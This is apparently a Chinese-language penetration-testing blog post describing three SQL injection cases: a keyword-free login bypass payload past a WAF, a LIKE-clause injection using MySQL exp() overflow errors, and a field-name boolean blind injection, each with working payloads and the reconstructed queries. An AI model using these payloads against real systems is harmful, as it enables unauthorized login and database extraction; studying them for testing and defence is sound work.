SQL注入通杀技巧|绕过waf

一.引子

安逸的周日晚上,疯玩了两个月的小雷终于想起来了自己freebuf账号的密码,于是决定整理些近期遇到的抽象的SQL注入案例分享给各位帅比,请诸位尽情感受手注带来的乐趣!!

参考文章:Top18漏洞知识库-SRC技巧库、工具库

二.案例

案例一:高防护下的万能密码

入手点就是这个登录页面了

1747184937_6823ed29e35b2bc1c2157.jpg!small?1747184938852

账号密码随便输入,抓包

1747184962_6823ed42b9144bd52446e.jpg!small?1747184963467

ln为用户名,pwd为密码。ln参数加个单引号试试。

1747184973_6823ed4df341f4faca556.jpg!small?1747184974827

发现500了,这明显有问题啊,再加一个单引号。

1747184987_6823ed5be5ab83cbdeff0.jpg!small?1747184988798

实锤了,这位置存在SQL注入漏洞。登录接口,直接使用万能密码尝试绕过登录。

1747185004_6823ed6c053b6df42e110.jpg!small?1747185007419

发现直接没返回包了,不妙啊,感觉请求像是被设备识别关键字拦截掉了。尝试发现设备几乎对所有重要的关键词都设防了,各种绕过方式均以失败告终。

那是否存在一条万能密码payload可以在不使用关键词的前提下成功绕过登录? 有的兄弟,有的!!

1747185025_6823ed81a4d2200e5fa0d.png!small?1747185026333

ln=admin';--+-

1747185045_6823ed953df4798e01d1f.jpg!small?1747185045749

咦?竟然没进去,看来还是得研究下这个payload原理。

小雷猜测该处的SQL语法是这样的。

select * from user where username=.'$ln'. and password=.'$pwd';

当小雷的payload打进去,语法就变成了

select * from user where username='admin';--+-' and password='123456';
其实也就是:
select * from user where username='admin';

也就是目前payload让原本校验用户名和密码的SQL语句变成了只校验用户名,但是为什么没进去?

答案是:系统不存在admin用户,接下来就简单了,直接爆破admin这个位置。

1747185065_6823eda9b0f1d8f7d05b8.jpg!small?1747185066681

1747185072_6823edb0919d79755b6d7.jpg!small?1747185073614

1747185080_6823edb821cb6594623fc.jpg!small?1747185080748

可见,系统的安全不能完全依仗设备。

案例二:LIKE注入

入手点依旧是一个平平无奇的登录页面

1747185100_6823edcc19d42146e34ac.jpg!small?1747185100628

通过爆破成功登录,在管理员管理位置抓到一个数据包。

1747185114_6823edda15e02d1c20081.jpg!small?1747185116039

roles参数加单引号

1747185144_6823edf86ebf0a1d79203.jpg!small?1747185145689

直接丢给sqlmap,参数拉到最高竟然没跑出来,看来又得演示手法了。

1747185165_6823ee0d43211ce55edb3.png!small?1747185165769

先把SQL语句扣下来,格式化下语法结构。

SELECT * 
FROM 
`eb_system_admin` 
WHERE
( CONCAT(',',roles,',')  LIKE '%,111111111111',%' )  
AND
`is_del` = :ThinkBind_1_114815451_  
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20 

像这种LIKE注入一定要注意他原本的格式,先把注入点前后语法补齐,然后插入and或者or

先补齐前后语法,通过AND配合语法格式在注入点将语句前后都补齐。

aaaaaaaa,%')+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa

SELECT * 
FROM 
`eb_system_admin` 
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND 
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')  
AND
`is_del` = :ThinkBind_1_114815451_  
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20 

完美,我们把payload赋给roles参数,发包看一下。

1747185194_6823ee2a6bff3bd8e33fd.jpg!small?1747185196106

不报错了,说明前后语法已经被完美闭合。接下来,我们再加一个AND,

aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa

SELECT * 
FROM 
`eb_system_admin` 
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND 
1 LIKE 1
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')  
AND
`is_del` = :ThinkBind_1_114815451_  
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20 

再把payload带入发包。

1747185210_6823ee3a25197131646a5.jpg!small?1747185210850

然后进一步修改payload,利用exp()函数特性进行SQL注入

aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa

-->

aaaaaaaa,%')+AND+1+LIKE+exp(709)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa无报错

1747185226_6823ee4a6dc9be6406586.jpg!small?1747185227325

-->

aaaaaaaa,%')+AND+1+LIKE+exp(710)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa报错

1747185240_6823ee58dec64124e89eb.jpg!small?1747185242209

这是因为在mysql中exp()函数的参数值大于709时会抛出一个溢出异常。

根据此特性构造payload

/adminapi/setting/admin?roles=aaaaaaaa,%')+AND+1+LIKE+exp(999-length(version()))+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa

主要是这里

exp(999-length(version())),fuzz "999"的位置,直到不报错。

最终发现,当"999"的位置替换为719时,不报错;当"999"的位置替换为720时系统报错。

1747185258_6823ee6a5b4253a93760d.jpg!small?1747185259813

1747185265_6823ee7113bd20ad91c94.jpg!small?1747185266085

也就是720-length(version() = 710,所以当前数据库版本的长度为10。

点到为止,下一个下一个。

1747185292_6823ee8c0d5397f9f1725.png!small?1747185292453

案例三:字段名注入

依然是朴实无华的登录页面。

1747185307_6823ee9b6966d8d1d8962.jpg!small?1747185309087

通过朴实无华的fuzz大法登录系统,在用户管理处抓包。

value就是我们输入的内容。

1747185320_6823eea8f2431bdc8944d.jpg!small?1747185322342

测试发现value参数并无注入漏洞,field参数加单引号回显包状态码会500。

1747185337_6823eeb9a0bf5c04d92a9.jpg!small?1747185338347

再加一个单引号,直接爆出了SQL语句。

1747185351_6823eec703071e0e97b33.jpg!small?1747185352096

sqlmap参数拉到最高,依然没跑出来。

把SQL语句抠出来,格式化。

SELECT count(*) as id   
 FROM 
 account      
 WHERE  
 (account.username LIKE ?)

有代码基础的兄弟一看到这个SQL语句就明白为啥value参数没有注入漏洞了,典型预编译写法,看来程序员还是有一定安全意识的。

仔细观察返回包参数和SQL语法。

1747185368_6823eed8dc9c8df41178a.jpg!small?1747185370072

而我们主要要看的就是field参数,field参数被拼接到了字段名中。

还是跟上面一样,先把注入点前后语法补齐。

username like '1') and (1

SELECT count(*) as id   
 FROM 
 account      
 WHERE  
 (account.username like '1')
 and
 (1 like LIKE ?)

带入发包。

1747185386_6823eeea29b9832e81554.jpg!small?1747185387111

没报错,说明语法被完美闭合了。因为这个功能是查询用户,所以我们可以通过or进行布尔盲注。

username like '1') or 1=1 and (1长度1388

1747185401_6823eef9e9c6c7d12c417.jpg!small?1747185402644

username like '1') or 1=2 and (1长度339

1747185415_6823ef077bb0cc0032a30.jpg!small?1747185416129

构造payload

username like '1') or n=length(user()) and (1

当n=length(user()) 时,也就是n为当前数据库用户名长度时,返回包长度为1388

1747185430_6823ef164783000b2b813.jpg!small?1747185431141

最终爆破出用户名长度为14,依然是点到为止。

三.总结

手注SQL的魅力在于它的变幻多样性,愿诸位都能感受到手注带来的快感,感谢阅读。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值